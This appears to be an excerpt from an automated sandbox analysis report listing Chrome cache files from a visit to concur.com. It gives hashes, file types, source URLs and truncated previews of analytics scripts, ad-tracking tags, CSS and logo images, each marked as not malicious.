Preview:	.; (function () {... function getCookie(c_name) {. var i, x, y, ARRcookies = document.cookie.split(";");. for (i = 0; i < ARRcookies.length; i++) {. x = ARRcookies[i].substr(0, ARRcookies[i].indexOf("="));. y = ARRcookies[i].substr(ARRcookies[i].indexOf("=") + 1);. x = x.replace(/^\s+\|\s+$/g, "");. if (x === c_name) {. return unescape(y);. }. }. }..var ccm_check = getCookie('notice_preferences');..if (typeof ccm_check === "undefined" \|\| ccm_check !== '0:') {../*. @license. * Adobe Visitor API for JavaScript version: 5.2.0. * Copyright 2021 Adobe, Inc. All Rights Reserved. * More info available at https://marketing.adobe.com/resources/help/en_US/mcvid/. */.var e=function(){"use strict";function e(t){"@babel/helpers - typeof";return(e="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(t)}fun

Chrome Cache Entry: 371

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	13273
Entropy (8bit):	5.24682717913011
Encrypted:	false
SSDEEP:	192:+isi1+LXdAzngfW4a7aS/Wk/8waC1mcSqZtRr:uX0gu5P/GwaC1mcf
MD5:	7E2EC20ADDB51843EF7B6ACFADFF263A
SHA1:	0A556EFA750E1B73FB5652136EB578BAC7BC9918
SHA-256:	DB91DAEE4896BAD1AEFF610BC49DA69726786D38A087BB8A53B5884E65254F62
SHA-512:	B5A14E6D0BE0A2302D7E795E9953CA6D7091C5615CC7F0F1F03659600F0143EA3A547D5BB67FFAC23C02DDB98DA318E24361F2A8FBD88B5DEE49F98755333728
Malicious:	false
URL:	https://cdn.schemaapp.com/highlighter/prod/ConcurTechnologies/v2/aHR0cHM6Ly93d3cuY29uY3VyLmNvbQ
Preview:	{"accountId":"http:\/\/schemaapp.com\/db\/ConcurTechnologies","url":"https:\/\/www.concur.com","templates":[{"@id":"http:\/\/schemaapp.com\/resources\/Company\/ConcurTechnologies\/Template20210329161034","categorizedBy":["Product","SoftwareApplication"],"visibleInInterface":"false","updated":"2024-09-26T12:33:40.009Z","@type":"HighlightTemplate","label":"Product pages","publishDate":"2021-04-08T16:37:57.000Z","hasHighlight":[{"@id":"http:\/\/schemaapp.com\/resources\/Company\/ConcurTechnologies\/Highlight-20210329161245386-13400","xPath":"( \/\/link[@rel=\"canonical\"]\/@href )","propertyPath":["url"],"@type":"TagXPathDefined"},{"@id":"http:\/\/schemaapp.com\/resources\/Company\/ConcurTechnologies\/Highlight-20210329161258782-20218","xPath":"manual","value":"Cloud","@type":"TagDefined","propertyPath":["operatingSystem"]},{"@id":"http:\/\/schemaapp.com\/resources\/Company\/ConcurTechnologies\/Highlight-20210329161318667-20218","propertyPath":["image","ImageObject","url"],"@type":"TagXPa

Chrome Cache Entry: 372

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5103), with no line terminators
Category:	dropped
Size (bytes):	5103
Entropy (8bit):	5.892108111518027
Encrypted:	false
SSDEEP:	96:1gWUfvlcY021mvn1blhad7OIJoodnbUp2dEjkRUHEMW1Lsrt5os8lk:1DY0hf1bT47OIqWb1ZMWpALH
MD5:	AA3A7CCB99E7330DB7CBD06C07980551
SHA1:	55DB375F2A1939BF35BC5C80E9AC9F98C97DBF4D
SHA-256:	C4C95F366D092DDF978EEC3F07E623DEA94F1897F2072281AEFE4689793B18F5
SHA-512:	85E23A1627AFAAAF969899FCB3A2D6ABBB680DBF6E9940027631169744A306EE3796E43423B533E50C09850A6A83451B0065F3D2B1AFCEB91007E4E75A1132C6
Malicious:	false
Preview:	(function(){var s = {};(function(){var h=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,d){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=d.value;return a};function k(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var d=a[b];if(d&&d.Math==Math)return d}throw Error("Cannot find global object");} var m=k(this),p=typeof Symbol==="function"&&typeof Symbol("x")==="symbol",t={},v={};function w(a,b,d){if(!d\|\|a!=null){d=v[b];if(d==null)return a[b];d=a[d];return d!==void 0?d:a[b]}} function x(a,b,d){if(b)a:{var c=a.split(".");a=c.length===1;var e=c[0],g;!a&&e in t?g=t:g=m;for(e=0;e<c.length-1;e++){var f=c[e];if(!(f in g))break a;g=g[f]}c=c[c.length-1];d=p&&d==="es6"?g[c]:null;b=b(d);b!=null&&(a?h(t,c,{configurable:!0,writable:!0,value:b}):b!==d&&(v[c]===void 0&&(a=Math.random()*1E9>>>0,v[c]=p?m.Symbol(c):"$jscp$"+a+"$"+c),h(g,v[c],{co

Chrome Cache Entry: 373

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4819), with no line terminators
Category:	dropped
Size (bytes):	4819
Entropy (8bit):	5.816655186495763
Encrypted:	false
SSDEEP:	96:1gWUfvlcY021mvn1blhad7OIJoodnbUp2dEjkRUhFK8Hs:1DY0hf1bT47OIqWb1wFK8M
MD5:	0FFDE0A52EF9F6C6624059F5CBE4EE64
SHA1:	F56D83E1298AC8B82A4BBAA97DE8206B203C34A4
SHA-256:	E55742BC461E6F39DC1AA1F925FD2CA9F8CBCA7AF43BB23721B78F98EDE2B3E6
SHA-512:	13E9562FFCE7DA2EAEA622B85072F402C78859D9E96DCF429AF7F205DEEEC1309C04595B39B8EFDC338A88F5515AE3BAECADAB46E21945F1FC868B107E3FCC8E
Malicious:	false
Preview:	(function(){var s = {};(function(){var h=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,d){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=d.value;return a};function k(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var d=a[b];if(d&&d.Math==Math)return d}throw Error("Cannot find global object");} var m=k(this),p=typeof Symbol==="function"&&typeof Symbol("x")==="symbol",t={},v={};function w(a,b,d){if(!d\|\|a!=null){d=v[b];if(d==null)return a[b];d=a[d];return d!==void 0?d:a[b]}} function x(a,b,d){if(b)a:{var c=a.split(".");a=c.length===1;var e=c[0],g;!a&&e in t?g=t:g=m;for(e=0;e<c.length-1;e++){var f=c[e];if(!(f in g))break a;g=g[f]}c=c[c.length-1];d=p&&d==="es6"?g[c]:null;b=b(d);b!=null&&(a?h(t,c,{configurable:!0,writable:!0,value:b}):b!==d&&(v[c]===void 0&&(a=Math.random()*1E9>>>0,v[c]=p?m.Symbol(c):"$jscp$"+a+"$"+c),h(g,v[c],{co

Chrome Cache Entry: 374

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5203), with no line terminators
Category:	downloaded
Size (bytes):	5203
Entropy (8bit):	5.919548891771663
Encrypted:	false
SSDEEP:	96:1gWUfvlcY021mvn1blhad7OIJoodnbUp2dEjkRUHEMRa1LsrhEFi+:1DY0hf1bT47OIqWb1ZMRapAhv+
MD5:	638743947A129B5C6CA0F67D3012645D
SHA1:	54D48FAC89825F581E9D678B05B1F6F1893F9133
SHA-256:	0D64340FC0CB3B50E0B94D320756CCF27A4C3623550936663ED11BA331C45267
SHA-512:	98426B935FE06A7492BF5AAB1E9EAA57E194F01CD74F6ADF72552E2A2B9859A9DECF8197ECE075E99FECE20902978E3765BA1EAE6DF7891EDD9D05E8D26BBC3F
Malicious:	false
URL:	https://www.googleadservices.com/pagead/conversion/1044530512/?random=1727944905140&cv=11&fst=1727944905140&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&label=PRHXCJzd_50DENCKifID&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&gtm_ee=1&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&data=event%3Dconversion&rfmt=3&fmt=4
Preview:	(function(){var s = {};(function(){var h=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,d){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=d.value;return a};function k(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var d=a[b];if(d&&d.Math==Math)return d}throw Error("Cannot find global object");} var m=k(this),p=typeof Symbol==="function"&&typeof Symbol("x")==="symbol",t={},v={};function w(a,b,d){if(!d\|\|a!=null){d=v[b];if(d==null)return a[b];d=a[d];return d!==void 0?d:a[b]}} function x(a,b,d){if(b)a:{var c=a.split(".");a=c.length===1;var e=c[0],g;!a&&e in t?g=t:g=m;for(e=0;e<c.length-1;e++){var f=c[e];if(!(f in g))break a;g=g[f]}c=c[c.length-1];d=p&&d==="es6"?g[c]:null;b=b(d);b!=null&&(a?h(t,c,{configurable:!0,writable:!0,value:b}):b!==d&&(v[c]===void 0&&(a=Math.random()*1E9>>>0,v[c]=p?m.Symbol(c):"$jscp$"+a+"$"+c),h(g,v[c],{co

Chrome Cache Entry: 375

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	18284
Entropy (8bit):	7.988896122276297
Encrypted:	false
SSDEEP:	384:zic+ryuZzE/4NZelLu33hsGDWCbDeR4X26Is+VxNamzmhd4E4Sz:zic+rNZzUmZzir+ejsqNamzUd4Exz
MD5:	D1A844F5E5EEF19167BD2359D40CF3F7
SHA1:	BEEEAF80E44FF326E53D476EB6E7365AA2B71FD6
SHA-256:	307429AB01440B76541C0C115ACDD5DF0DC38A3DA9F4F5B74ACE349079A16C9E
SHA-512:	A36A5BAB6FFE1EF082D9FB53C40432453887D2CA6A2593E6515C81BC50E175979A36718073B6EFD8BC2AE7220077ACCD461693416E4C648735E758BC9D789436
Malicious:	false
URL:	https://www.concur.com/sites/default/files/allbirds_logo.png
Preview:	RIFFdG..WEBPVP8X...........}..ALPH......0...R..m$).O{.;..1...$........V$I..KL.S....0.e.!.....\..1....HR$..k.z.g~.mK.l.2....$()J..B..$$+...E....5._.K........s}.....F.#I.V....Uw......?-y.l....,l..............;...n....[....9.u...v.s.L......L.......lb....`Wt.L\|.b.io......P+.G. .>...r\L.....}_.7..J..g...o...2HO.......Q6.n........S....\.<...X...R.Sr.,J..j.M_t.MK..Z...T+..I.u[>.G.G.......\|z.WTDvj...W.D....c.."....9....u-g_A.&..wOT.....;s..D.....Adg.Z.......t.B...C..lc+eg....II.a[?{.a..........hn...5..l....Z..g.....3...I.v.hn........f..vJ..b..dg.O.\|.A...h7..jq..:{........}.yU...D......."...^U..O..hR.NM...:.h.t.P..`>...(.......K.H!i......n.$....`#C~nC...=U..PR...sR.9.. H.8y...7W.A...#..[<xq5e.N......s.g......R..Yy(..Q.).$.m.?H.......7...q..Ri7rsW.Q..1......&.~......(E{.%.o.!.Vk..s!.G.9..3...;....9..7gz....2.......YR......W!d\.........ps5l...0..A3Tg..a+.G=.@......f.z..6G..&..h...P.....A&-.....6".7b..U^s.%.4....=...<.....9..3...My.CJ

Chrome Cache Entry: 376

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8760)
Category:	downloaded
Size (bytes):	21064
Entropy (8bit):	5.100032984739045
Encrypted:	false
SSDEEP:	192:qvpOEZsiXzyANnKocAIYRC5nyunA3n6bVnOLy7w:qvpOEZoANnKqLA0NgVnOLp
MD5:	24288F9FC802F7B2FDFB739854F5A4E0
SHA1:	F0976BFB76AAA23D0A11D32C7092964F0B2FB304
SHA-256:	08E30F92EAC7D260D45506D42A6F5E62D27399C8D2914BDE90D2144D4351F80C
SHA-512:	2DB75BFC7BDD3FE37AEADD5E6BBDF2128C15804E165DFCD913BB3BA0A83408C12BC08D70EC3595578D1FAAFF31E99FE363C7000DBF6A4A7A55E6827AFC5F2DD9
Malicious:	false
URL:	https://www.concur.com/sites/default/files/css/css_COMPkurH0mDUVQbUKm9eYtJzmcjSkUvekNIUTUNR-Aw.css
Preview:	#sap-banner{z-index:50;}#sap-banner,#sap-banner div{position:relative;margin-bottom:15px;}#sap-banner{background-color:#111;height:50px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;}#sap-banner .outer-container,#sap-banner .inner-container{height:100%;}#sap-banner .outer-container{margin-left:auto;margin-right:auto;}#sap-banner img{position:absolute;top:0;width:40px;}#sap-banner p{color:#000;line-height:100%;position:absolute;font-size:14px;font-weight:100;margin:5px 0px 0px 40px;top:0px;color:white;}.careers #sap-banner{padding-top:12px;}.careers #sap-banner{margin-bottom:20px;}.page-about #sap-banner,.layout-2012 #sap-banner{margin-left:-20px;}.concur7-page-override #sap-banner{margin-left:0px;}.landing-page-2013 #sap-banner{text-align:center;color:#444;}.sap-shadow{z-index:11;display:block;background:#222;opacity:0.6;color:white;position:relative;margin:0px auto;height:auto;}.sap-shadow .col-sm-6{padding:5px 0;}.sap-shadow.phone .col-sm-6{padding:10

Chrome Cache Entry: 377

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1048)
Category:	dropped
Size (bytes):	2056
Entropy (8bit):	5.22547609939232
Encrypted:	false
SSDEEP:	48:Fb1az2WNX6IMj5wB/tOQ5d5pFvQJUGVOniXQvzPPkeMY:Fb174XejuB/1d5pFvQJUG4n8QvbPk5Y
MD5:	AD80207D3CC7639304EF3C676C7A92C7
SHA1:	44FDEA176960FC5F7A0335A3751B65C1547DE798
SHA-256:	EF7B3FA99EA6DE393AF1CE23D5EC4980655921433C61EE64B7C3C289CB4197B9
SHA-512:	5B4C37A7A84DE33CF55C4A372EB697A6B9CA7B662CCF24EA70C6B80D11B97DE021C5CD8969BED2EEE252F764D67B6C9332F6D3B9C9B0E435B354B50E30AAD5E3
Malicious:	false
Preview:	//tealium universal tag - utag.1143 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved..try{(function(id,loader){var u={};utag.o[loader].sender[id]=u;if(utag===undefined){utag={};}if(utag.ut===undefined){utag.ut={};}if(utag.ut.loader===undefined){u.loader=function(o){var a,b,c,l;a=document;if(o.type==="iframe"){b=a.createElement("iframe");b.setAttribute("height","1");b.setAttribute("width","1");b.setAttribute("style","display:none");b.setAttribute("src",o.src);}else if(o.type==="img"){utag.DB("Attach img: "+o.src);b=new Image();b.src=o.src;return;}else{b=a.createElement("script");b.language="javascript";b.type="text/javascript";b.async=1;b.charset="utf-8";b.src=o.src;}if(o.id){b.id=o.id;}if(typeof o.cb==="function"){if(b.addEventListener){b.addEventListener("load",function(){o.cb();},false);}else{b.onreadystatechange=function(){if(this.readyState==="complete"\|\|this.readyState==="loaded"){this.onreadystatechange=null;o.cb();}};}}l=o.loc\|\|"head";c=a.getElementsByTagN

Chrome Cache Entry: 378

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1111), with no line terminators
Category:	downloaded
Size (bytes):	1111
Entropy (8bit):	5.751759021496662
Encrypted:	false
SSDEEP:	24:kHkw8tSyngFuVAOdIcCcEzmZfcEziLEOi/PqjCC5zqinzYjnpRnLxR2+YI:YyLVkczEzXEziL1YnbuO
MD5:	2837E3F36F24A0F5ADEB6DE21092A813
SHA1:	8227588E19794DF8FEFEFA6F104C136926B6E2B4
SHA-256:	A0A3938D5BD93290188B56C2708853A2531B22D52CEAB694918AD9125E5876B8
SHA-512:	403BF80CB7ED0BC28C0B6AEA3D93465821F8A48F3E8F3AF1D0A94955E58CBD93D6F4ECB3E64B438BF7B13382441D6524049A5C3DCA28519D9647796D0DF832D5
Malicious:	false
URL:	https://td.doubleclick.net/td/rul/1044530512?random=1727944905159&cv=11&fst=1727944905159&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config
Preview:	<html><head><meta http-equiv="origin-trial" content="Avh5Ny0XEFCyQ7+oNieXskUrqY8edUzL5/XrwKlGjARQHW4TFRK+jVd5HnDIpY20n5OLHfgU4ku7x48N3uhG/A0AAABxeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjk1MTY3OTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0="></head><body><script>var ig_list={"interestGroups":[{"action":1,"interestGroupAttributes":{"owner":"https://td.doubleclick.net","name":"1j7534983770"}},{"action":0,"expirationTimeInSeconds":2592000,"interestGroupAttributes":{"owner":"https://td.doubleclick.net","name":"1j597682920!5b1","additionalBidKey":"KEvOAaVuhcaJlPjxFzAxGFdJiib5pBKMXVLqezXraNw="}}]};</script><script>for(let i of ig_list.interestGroups){try{if(i.action==0){navigator.joinAdInterestGroup(i.interestGroupAttributes,i.expirationTimeInSeconds);}else if(i.action==1){navigator.leaveAdInterestGroup(i.interestGroupAttributes);}}catch(e){navigator.sendBeacon(`https://pagead2.googlesyndication.com/pagead/gen_204/?id=turtlex_join_ig&t

Chrome Cache Entry: 379

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2723)
Category:	downloaded
Size (bytes):	3319
Entropy (8bit):	5.21526399957412
Encrypted:	false
SSDEEP:	96:VbVcO+ZfYDX5X1RtNtbtvthtxss8PkLyVG1fSxPUgar4JKnGrbdG:BVcO+BYDrR7lRvj7tZWe4PG
MD5:	7C74D1EF8C2FBD400B04B852A033C00C
SHA1:	4A565EA66F49DCD800AF0BBC1E087D6B347E951F
SHA-256:	37F3E22511E12AE9D861300605A4187DB1F84DCA10DFE8DDB043D554CE3BBEFC
SHA-512:	64B8765D0EE41AD31F08F86221DBF32E28F0FBC512B523348EA862BC369BBDB47EB0B59505BB8853E4F8773709C0F948E57147AB33FF858BF41C33FBFA5547BD
Malicious:	false
URL:	https://tags.tiqcdn.com/utag/concur/concur/prod/utag.1239.js?utv=ut4.39.202209271833
Preview:	//tealium universal tag - utag.1239 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved..try{(function(id,loader){var u={id:id};utag.o[loader].sender[id]=u;u.ev={view:1,link:1};u.initialized=false;u.scriptrequested=false;u.queue=[];u.map_func=function(arr,obj,item){var i=arr.shift();obj[i]=obj[i]\|\|{};if(arr.length>0){u.map_func(arr,obj[i],item);}else{obj[i]=item;}};u.callback=function(){twq('config',u.data.pixelId);var event_id;u.data.events.forEach(function(event){event_id='tw-'+u.data.pixelId+'-'+event;twq('event',event_id,u.data[event]);});};u.map={};u.extend=[];u.send=function(utag_event,data_layer){if(u.ev[utag_event]\|\|u.ev.all!==undefined){utag.DB('send:1239');utag.DB(data_layer);var a,b,c,d,e,f,g,h,query_params;a=utag_event;b=data_layer;u.data={base_url:'https://static.ads-twitter.com/uwt.js',pixelId:'nvbph',email_address:'',phone_number:'',external_id:'',search_string:'',description:'',twclid:'',order_total:'',order_currency:'',order_id:'',product_category:'

Chrome Cache Entry: 380

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 786x884, components 3
Category:	dropped
Size (bytes):	14070
Entropy (8bit):	7.533373758729583
Encrypted:	false
SSDEEP:	384:vOKpSww8s5SuwWogZZj9vCMlw3xDF33KFKZdUn3eQFT:W4wB5SBWogfj9aW033RZo3eMT
MD5:	91D3F6193370CA690BADB65F937154F9
SHA1:	C535B6A633216A70F49DB206CCD594D3324B8EAC
SHA-256:	DA811656E09016E0FEDF869FB7AA59C86889C4ABD339358F03DFCED8C67F7F59
SHA-512:	2F8AB21FF9C5224ABB68C8AA475B664C4D2F45E5F8BAE26A2222C6A4046EB4E1B37ECB6FBBCDD4B7713845F02EFBA7D6DB9260C689532DD3CAE9C7649D54FB57
Malicious:	false
Preview:	......JFIF.............C....................................#,%.!!..&4'./121.%6:60:,010...C...........0 . 00000000000000000000000000000000000000000000000000......t................................................................................IrB.Xf !...)b....n.T.,y3......i4.J..\.....)OF..@................X.A..B.Y.X[..d......c.....)JT...^Vr...)Jzu.T..............0.....R...%.....j....@....h.)d..$...JT.Y................R.P......( X.$B......xK....h....q0...)M..................Qe.D.@.#6.......iL....h.:9.^r....M%.QN5....R.=.[...`...........>t..B.!..e..........[..ge<..k ..SF.T5%Zf..@.@)M....%....@.,.......2ie.(.UHZ.,JR......T.N...e....4S@.Q....R.Oui..K......YT..........P....,.T.K(...m.j.G......).E.T..6. ".)..{,..(.!@..0.[.P....D..J.P.P.4.EQKe...e.JQh...3.. .R.....Y...4{N...)......l.(.... ..(."P....)A@JSm....m...r^G)r..)AJmu'..D..n....Q...P..6R......CV.."P....P.(.).....]Y...[.8.."...)M.\'.....^.Td....*.lY@....d....Fh.....P.AM.E).5n....]%...g)r.()JSd8$.Ql..OX..%....3T.

Chrome Cache Entry: 381

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	12198
Entropy (8bit):	7.973747866278721
Encrypted:	false
SSDEEP:	192:db34ga+SZBkjkMMh9hy9LIKxEtSsTEQhGnkcWFPrd2Qwk+/1H3ixsZRc7M6OGzuV:dboiIBkjkMMbhy9cKxEtboQhyHmh2QO6
MD5:	D1FD6DBEDED4B30CB95AF9B0431EEBDA
SHA1:	F08FEA58B0EA655625BF35AF714586546A84A23E
SHA-256:	AF52A3A962B27A1AE8BBC2397560DF3727F441E8064C2867806F58F8C42E513E
SHA-512:	4539BD60B2D6425148E0ACCAFB53B3D1891FE156FC50169D44216BF0421407477F5D65FDA898C320DA780DDB4A3D36A7C2864E1C1BD27D6BC98F743DEDC6E047
Malicious:	false
URL:	https://www.concur.com/sites/default/files/genmills_logo.png
Preview:	RIFF./..WEBPVP8X........W..q..ALPH.......m.s...sN:..bP.....{.%..b..[.v...x......AM..e,X.h....5....s.?.q.q.q..<y.........r...Z.F.344..D.7v]+@D,J.aq[...Wc.2....k.{.q.}..j\|..&'k....=.......3.....,Co ..}..x....]..ID...E.../..M.A.......B.tf..C.k]..4NC.9.J..D._...4HC...K..wZ....B.i5..G.K...A.I....$.....E....6.L.#.y.Jn..H..2.o"...d./.`K.CyI....;e...[..x..Ee.BP.?......e..R.....U.j........[..@.o.......e...j.U.........,@_%.Z...g.h....f/.,=.U.+-.RE.M..~Kv_.E..%.Ljd%.AA....=`....ypN=.pA=SL.....`...)'...i.%...>..0...f.u.i..<.. ...{.&.u.5......./j...l..(g..`.....VS..n.7k.....{K0a-o..R_k/...:V..[...^.....q....<\..."......P.)..y\R.[`...GUfv..u3U..t.r......:...fk.dTiA_^.@..5.l.}....l.,....5.j.5..O.@0[_HF...r...2.....o..6N.wV..`..~@5......2.L.e.h{'^.wV..`..Be....~G%pL..F..p%7.:H.`....DTxaCn.X..`..C.'...jR.m.\|...6....M;..u..=..?)...P9..&.PT~g.......`.....B (..#.L.HT......),{...>i:....K.CLJ.0g.P.S.b..d.8^..Y.....DA.....I;....aP.{N.c...]'n...B;..00m;.^V...

Chrome Cache Entry: 382

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.366091329119193
Encrypted:	false
SSDEEP:	3:a2yb1tMn:aN1tM
MD5:	D06F04FCCF68D0B228A5923187CE1AFD
SHA1:	5DE9DF9FDD66A91EED06E31981553D4AB9CCF490
SHA-256:	830E67BDA2532CD5880EE86E3B33E69721082F8458BB0DF0CD4EDBB1577FD375
SHA-512:	9888104E0C9311D58B52A9B7030725C8BDFBE54F581246E4DDE0366F046671B3CE6838D09DDB4A384C6145248D4AB46D16BAE8E92F943488E2888982D6DB0D3A
Malicious:	false
Preview:	{ "status": "ok" }.

Chrome Cache Entry: 383

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5674)
Category:	downloaded
Size (bytes):	18947
Entropy (8bit):	5.451096609715629
Encrypted:	false
SSDEEP:	384:sfNsImVVMFdWa9Yp+pJh2r0i23URnbEqPd2Y8nm:sfKViYp+TsCobEA2Y8nm
MD5:	EB50692CFC89BECF31539F0422D72711
SHA1:	2237677559FF632B199ED6AA956C7CB239160E6F
SHA-256:	828C1A9A1CF7CFE0884B6D3EB0FA9F4C5D84EC6350B05166246D440A28269E4E
SHA-512:	8A98005CE8CC37CD62CED1F3901FD659179048B938DF7F3D0500D52E69F3848C6F9CDD4CB0113D50823B1D6FF475A6CB26D9E25FD47BD5DA4E3C8ADB1F906259
Malicious:	false
URL:	https://tags.tiqcdn.com/utag/concur/concur/prod/utag.1007.js?utv=ut4.39.202405201524
Preview:	//tealium universal tag - utag.1007 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved..try{(function(id,loader){var u={"id":id},md5;utag.o[loader].sender[id]=u;utag.globals=utag.globals\|\|{};if(utag.ut===undefined){utag.ut={};}.var match=/ut\d\.(\d)\../.exec(utag.cfg.v);if(utag.ut.loader===undefined\|\|!match\|\|parseInt(match[1])<41){u.loader=function(o,a,b,c,l,m){utag.DB(o);a=document;if(o.type=="iframe"){m=a.getElementById(o.id);if(m&&m.tagName=="IFRAME"){b=m;}else{b=a.createElement("iframe");}o.attrs=o.attrs\|\|{};utag.ut.merge(o.attrs,{"height":"1","width":"1","style":"display:none"},0);}else if(o.type=="img"){utag.DB("Attach img: "+o.src);b=new Image();}else{b=a.createElement("script");b.language="javascript";b.type="text/javascript";b.async=1;b.charset="utf-8";}if(o.id){b.id=o.id;}for(l in utag.loader.GV(o.attrs)){b.setAttribute(l,o.attrs[l]);}b.setAttribute("src",o.src);if(typeof o.cb=="function"){if(b.addEventListener){b.addEventListener("load",function(){o.cb

Chrome Cache Entry: 384

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (780)
Category:	downloaded
Size (bytes):	2002
Entropy (8bit):	5.244872809817972
Encrypted:	false
SSDEEP:	48:Bb1lEQWmCIQJUtq3iP9jbEdO/M0wU/wmTIAmksZ4r:Bb1lhCIQJUtq39LpmhsZ4r
MD5:	E538D43680289028AEC3499F6B4C03DB
SHA1:	EAD4B05089B77117678281A3D3F8F1DD65FBB223
SHA-256:	78B1D173B37E9ED77EC16207F52AD0A764331B94717F839784098C372E640410
SHA-512:	03247B6579A73E4C77FA343C7F4BC3B72A6CB39E7435336A624360FA06B96159D150D4CEA977992AA0E98D788344496A76864465A5C402EC149F053532EFFD6E
Malicious:	false
URL:	https://tags.tiqcdn.com/utag/concur/concur/prod/utag.1235.js?utv=ut4.39.202209222013
Preview:	//tealium universal tag - utag.1235 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved..try{(function(id,loader){var u={};utag.o[loader].sender[id]=u;u.ev={"view":1};u.map={};u.extend=[];u.send=function(a,b){if(u.ev[a]\|\|u.ev.all!==undefined){var c,d,e,f;u.data={"qsp_delim":"&","kvp_delim":"=","samplerate":"100","siteinterceptid":"ZN_5i4eFhc5KLAftno","usezones":"yes","base_url":"//zn5i4efhc5klaftno-sapinsights.siteintercept.qualtrics.com/WRSiteInterceptEngine/?"};c=[];for(d in utag.loader.GV(u.map)){if(b[d]!==undefined&&b[d]!==""){e=u.map[d].split(",");for(f=0;f<e.length;f++){if(e[f]==="siteinterceptid"\|\|e[f]==="SiteInterceptID"){u.data.siteinterceptid=b[d];}else if(e[f]==="samplerate"\|\|e[f]==="SampleRate"){u.data.samplerate=b[d];}else if(e[f]==="usezones"\|\|e[f]==="base_url"){u.data[e[f]]=b[d];}else{c.push(e[f]+u.data.kvp_delim+encodeURIComponent(b[d]))}}}}.if(u.data.usezones==="yes"){c.push("Q_ZID="+u.data.siteinterceptid);}else{c.push("Q_SIID="+u.data.siteintercep

Chrome Cache Entry: 385

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9217)
Category:	downloaded
Size (bytes):	231864
Entropy (8bit):	5.458039173946496
Encrypted:	false
SSDEEP:	3072:nfLeYH8At6JK37OeR8NteGvQ+AMPpgArl0xYu5s713TW:nfLeYc+6JaH8N7QQGArHu5s713K
MD5:	40283CFC473AFBE1D4ABBA7E6C809885
SHA1:	8A32CB88D9F537B02582DF17A5BB11C2087937F6
SHA-256:	48BA1993011DB4834882D81B2153753437607292F704A6543D4466C0F6D1372A
